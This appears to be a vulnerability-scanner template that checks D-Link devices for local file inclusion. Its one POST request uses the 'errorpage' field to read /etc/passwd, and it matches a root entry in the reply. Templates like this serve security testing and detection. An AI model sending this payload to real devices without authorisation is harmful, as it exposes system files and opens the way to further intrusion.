id: dlink-file-read

info:
  name: D-Link - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: D-Link is vulnerable to local file inclusion.
  reference:
    - https://suid.ch/research/DAP-2020_Preauth_RCE_Chain.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: dlink,lfi,misconfig

http:
  - method: POST
    path:
      - "{{BaseURL}}/cgi-bin/webproc"

    body: 'errorpage=/etc/passwd&obj-action=auth&:action=login'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c6ccabcc9a6615dfd47ab94cccc9b0949a1e4b36dd1f94828a9b63485aaa511402201242e00cc7039efa34dab2d9607ad0dd468b46393864053e2293853252f42d88:922c64590222798bb761d5b6d8e72950